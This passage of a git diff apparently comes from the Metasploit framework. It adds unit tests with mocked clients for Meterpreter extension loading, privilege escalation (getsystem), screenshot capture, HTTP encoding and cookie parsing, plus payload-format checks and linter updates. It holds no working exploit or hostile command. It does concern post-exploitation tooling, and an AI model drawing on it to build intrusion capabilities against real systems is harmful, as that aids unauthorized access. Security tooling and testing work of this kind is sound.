{ [:help] } + @client = double("client") + allow(@client).to receive(:binary_suffix) { "x64.dll" } + allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } } + allow(@client).to receive(:response_timeout) { 1 } + allow(@client).to receive(:send_packet_wait_response) { @response } + allow(@client).to receive(:add_extension) { true } + end + + let(:client_core) {described_class.new(@client)} + it 'should respond to #use' do + expect(client_core).to respond_to(:use) + end + + context 'with a gemified module' do + let(:mod) {"kiwi"} + it 'should be available' do + expect(client_core.use(mod)).to be_true + end + end + + context 'with a local module' do + let(:mod) {"sniffer"} + it 'should be available' do + expect(client_core.use(mod)).to be_true + end + end + + context 'with a missing a module' do + let(:mod) {"eaten_by_av"} + it 'should be available' do + expect { client_core.use(mod) }.to raise_error(TypeError) + end + end + + + end + +end diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb new file mode 100644 index 0000000000..4d336b617d --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -0,0 +1,41 @@ +require 'spec_helper' +require 'rex/post/meterpreter/extension' +require 'rex/post/meterpreter/extensions/priv/priv' + +describe Rex::Post::Meterpreter::Extensions::Priv::Priv do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) + end + + describe "#getsystem" do + before(:each) do + @client = double("client") + allow(@client).to receive(:register_extension_aliases) { [] } + end + + let(:priv) {described_class.new(@client)} + it 'should respond to #getsystem' do + expect(priv).to respond_to(:getsystem) + end + + it 'should return itself' do + expect(priv).to be_kind_of(described_class) + end + + it 'should have some instance variables' do + expect(priv.instance_variables).to include(:@client) + expect(priv.instance_variables).to include(:@name) + expect(priv.instance_variables).to include(:@fs) + end + + it 'should respond to fs' do + expect(priv).to respond_to(:fs) + end + + it 'should have a name of priv' do + expect(priv.name).to eq("priv") + end + + end +end diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb new file mode 100644 index 0000000000..e36c742a0a --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' +require 'rex/post/meterpreter' +require 'rex/post/meterpreter/extensions/stdapi/ui' + +describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) + end + + describe "#screenshot" do + + before(:each) do + @client = double("client") + end + + let(:ui) { described_class.new(@client) } + it 'should respond to #screenshot' do + expect(ui).to respond_to(:screenshot) + end + + it 'should return itself' do + expect(ui).to be_kind_of(described_class) + end + + it 'should have an instance variable' do + expect(ui.instance_variables).to include(:@client) + end + + end + +end + diff --git a/spec/lib/rex/post/meterpreter/ui/console.rb b/spec/lib/rex/post/meterpreter/ui/console.rb new file mode 100644 index 0000000000..bd0d7d76a4 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/post/meterpreter/ui/console' + +describe Rex::Post::Meterpreter::Ui::Console do + + subject(:console) do + Rex::Post::Meterpreter::Ui::Console.new(nil) + end + + describe "#run_command" do + let(:dispatcher) do + double + end + + it "logs error when Rex::AddressInUse is raised" do + allow(dispatcher).to receive(:cmd_address_in_use) do + raise Rex::AddressInUse, "0.0.0.0:80" + end + + expect(subject).to receive(:log_error).with("The address is already in use (0.0.0.0:80).") + subject.run_command(dispatcher, "address_in_use", nil) + end + end + +end diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb new file mode 100644 index 0000000000..cf917d1032 --- /dev/null +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'rex/post/meterpreter' + +describe MeterpreterBinaries do + it 'is available' do + expect(described_class).to eq(MeterpreterBinaries) + end +end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index c76a9d2dee..14f13a776d 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -189,6 +189,9 @@ describe Rex::Proto::Http::ClientRequest do 'foo[]' => 'bar', 'bar' => 'baz', 'frobnicate' => 'the froozle?', + 'foshizzle' => 'my/nizzle', + 'asdf' => nil, + 'test' => '' } end @@ -215,6 +218,9 @@ describe Rex::Proto::Http::ClientRequest do str.should include("foo[]=bar") str.should include("bar=baz") str.should include("frobnicate=the froozle?") + str.should include("foshizzle=my/nizzle") + str.should include("asdf&") + str.should include("test=") end end @@ -226,6 +232,20 @@ describe Rex::Proto::Http::ClientRequest do str.should include("foo%5b%5d=bar") str.should include("bar=baz") str.should include("frobnicate=the%20froozle%3f") + str.should include("foshizzle=my/nizzle") + str.should include("asdf&") + str.should include("test=") + end + end + + context "and 'uri_encode_mode' = hex-noslashes" do + let(:encode_mode) { 'hex-noslashes' } + it "should encode all chars" do + str = client_request.to_s + str.should include("%66%6f%6f%5b%5d=%62%61%72") + str.should include("%62%61%72=%62%61%7a") + str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") end end @@ -236,6 +256,7 @@ describe Rex::Proto::Http::ClientRequest do str.should include("%66%6f%6f%5b%5d=%62%61%72") str.should include("%62%61%72=%62%61%7a") str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") end end diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index dc474a0877..67c23c9588 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -116,6 +116,22 @@ describe Rex::Proto::Http::Response do HEREDOC end + def get_cookies_comma_separated + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Expires: Thu, 26 Oct 1978 00:00:00 GMT + Content-Length: 8556 + Server: CherryPy/3.1.2 + Date: Sun, 06 Jul 2014 20:09:28 GMT + Cache-Control: no-store, max-age=0, no-cache, must-revalidate + Content-Type: text/html;charset=utf-8 + Set-Cookie: cval=880350187, session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28; expires=Mon, 07 Jul 2014 20:09:28 GMT; httponly; Path=/, uid=348637C4-9B10-485A-BFA9-5E892432FCFD; expires=Fri, 05-Jul-2019 20:09:28 GMT + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + <!--[if lt IE 7]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:s="http://www.splunk.com/xhtml-extensions/1.0" xml:lang="en" lang="en" class="no-js lt-ie9 lt-ie8 lt- + HEREDOC + end + def cookie_sanity_check(meth) resp = described_class.new() resp.parse(self.send meth) @@ -185,6 +201,18 @@ describe Rex::Proto::Http::Response do cookies_array.should include(*expected_cookies) end + it 'parses comma separated cookies' do + cookies_array = cookie_sanity_check(:get_cookies_comma_separated) + cookies_array.count.should eq(3) + expected_cookies = %w{ + cval=880350187 + session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28 + uid=348637C4-9B10-485A-BFA9-5E892432FCFD + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + end end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 41c1abde79..fdf1610129 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -1,5 +1,6 @@ # -*- coding:binary -*- require 'rex/socket/range_walker' +require 'spec_helper' describe Rex::Socket do @@ -163,4 +164,35 @@ describe Rex::Socket do end end + + describe '.portspec_to_portlist' do + + subject(:portlist) { described_class.portspec_to_portlist portspec_string} + let(:portspec_string) { '-1,0-10,!2-5,!7,65530-,65536' } + + it 'does not include negative numbers' do + expect(portlist).to_not include '-1' + end + + it 'does not include 0' do + expect(portlist).to_not include '0' + end + + it 'does not include negated numbers' do + ['2', '3', '4', '5', '7'].each do |port| + expect(portlist).to_not include port + end + end + + it 'does not include any numbers above 65535' do + expect(portlist).to_not include '65536' + end + + it 'expands open ended ranges' do + (65530..65535).each do |port| + expect(portlist).to include port + end + end + end + end diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index e1372a6492..c1b6ea5a92 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -36,8 +36,8 @@ shared_context 'Msf::Util::Exe' do { :format => "psh", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "psh-net", :arch => "x86", :file_fp => /ASCII/ }, { :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x86_64", :file_fp => /zip/i }, + { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "x86_64", :file_fp => /zip|jar/i }, { :format => "msi", :arch => "x86", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, { :format => "msi", :arch => "x64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, { :format => "msi", :arch => "x86_64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, @@ -51,29 +51,29 @@ shared_context 'Msf::Util::Exe' do { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x64", :file_fp => /zip/i }, - { :format => "war", :arch => "armle", :file_fp => /zip/i }, - { :format => "war", :arch => "mipsbe", :file_fp => /zip/i }, - { :format => "war", :arch => "mipsle", :file_fp => /zip/i }, + { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "x64", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "armle", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "mipsbe", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "mipsle", :file_fp => /zip|jar/i }, ], "bsd" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, + { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, ], "solaris" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, + { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, ], "osx" => [ { :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ }, { :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ }, { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ }, { :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x64", :file_fp => /zip/i }, - { :format => "war", :arch => "armle", :file_fp => /zip/i }, - { :format => "war", :arch => "ppc", :file_fp => /zip/i }, + { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "x64", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "armle", :file_fp => /zip|jar/i }, + { :format => "war", :arch => "ppc", :file_fp => /zip|jar/i }, ], } diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 07fb8e4463..9e10b97300 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -11,6 +11,7 @@ require 'find' require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] +SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] if CHECK_OLD_RUBIES require 'rvm' @@ -30,6 +31,10 @@ class String "\e[1;32;40m#{self}\e[0m" end + def cyan + "\e[1;36;40m#{self}\e[0m" + end + def ascii_only? self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true end @@ -83,6 +88,14 @@ class Msftidy puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}" end + # + # Display an info message. Info messages do not alter the exit status. + # + def info(txt, line=0) + return if SUPPRESS_INFO_MESSAGES + line_msg = (line>0) ? ":#{line}" : '' + puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" + end ## # @@ -102,16 +115,30 @@ class Msftidy end end + # Updated this check to see if Nokogiri::XML.parse is being called + # specifically. The main reason for this concern is that some versions + # of libxml2 are still vulnerable to XXE attacks. REXML is safer (and + # slower) since it's pure ruby. Unfortunately, there is no pure Ruby + # HTML parser (except Hpricot which is abandonware) -- easy checks + # can avoid Nokogiri (most modules use regex anyway), but more complex + # checks tends to require Nokogiri for HTML element and value parsing. def check_nokogiri - msg = "Requiring Nokogiri in modules can be risky, use REXML instead." + msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false + has_nokogiri_xml_parser = false @source.each_line do |line| - if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/ - has_nokogiri = true - break + if has_nokogiri + if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ + has_nokogiri_xml_parser = true + break + end + else + if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/ + has_nokogiri = true + end end end - error(msg) if has_nokogiri + error(msg) if has_nokogiri_xml_parser end def check_ref_identifiers @@ -293,6 +320,15 @@ class Msftidy end end + # Explicitly skip this check if we're suppressing info messages + # anyway, since it takes a fair amount of time per module to perform. + def check_rubocop + return true if SUPPRESS_INFO_MESSAGES + out = %x{rubocop -n #{@full_filepath}} + ret = $? + info("Fails to pass Rubocop Ruby style guidelines (run 'rubocop #{@full_filepath}' to see violations)") unless ret.exitstatus == 0 + end + def check_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM @@ -460,13 +496,16 @@ class Msftidy error("Writes to stdout", idx) end - # do not change datastore in code + # You should not change datastore in code. For reasons. See + # RM#8498 for discussion, starting at comment #16: + # + # https://dev.metasploit.com/redmine/issues/8498#note-16 if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ - error("datastore is modified in code: #{ln}", idx) + info("datastore is modified in code: #{ln}", idx) end - # do not read Set-Cookie header - if ln =~ /\[['"]Set-Cookie['"]\]/i + # do not read Set-Cookie header (ignore commented lines) + if ln =~ /^(?!\s*#).+\[['"]Set-Cookie['"]\]/i warn("Do not read Set-Cookie header directly, use res.get_cookies instead: #{ln}", idx) end @@ -485,14 +524,20 @@ class Msftidy end def check_vars_get - test = @source.scan(/send_request_(?:cgi|raw)\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) + test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| - warn("Please use vars_get in send_request_cgi and send_request_raw: #{item}") + info("Please use vars_get in send_request_cgi: #{item}") } end end + def check_newline_eof + if @source !~ /(?:\r\n|\n)\z/m + info('Please add a newline at the end of the file') + end + end + private def load_file(file) @@ -537,6 +582,8 @@ def run_checks(full_filepath) tidy.check_comment_splat tidy.check_vuln_codes tidy.check_vars_get + tidy.check_newline_eof + tidy.check_rubocop return tidy end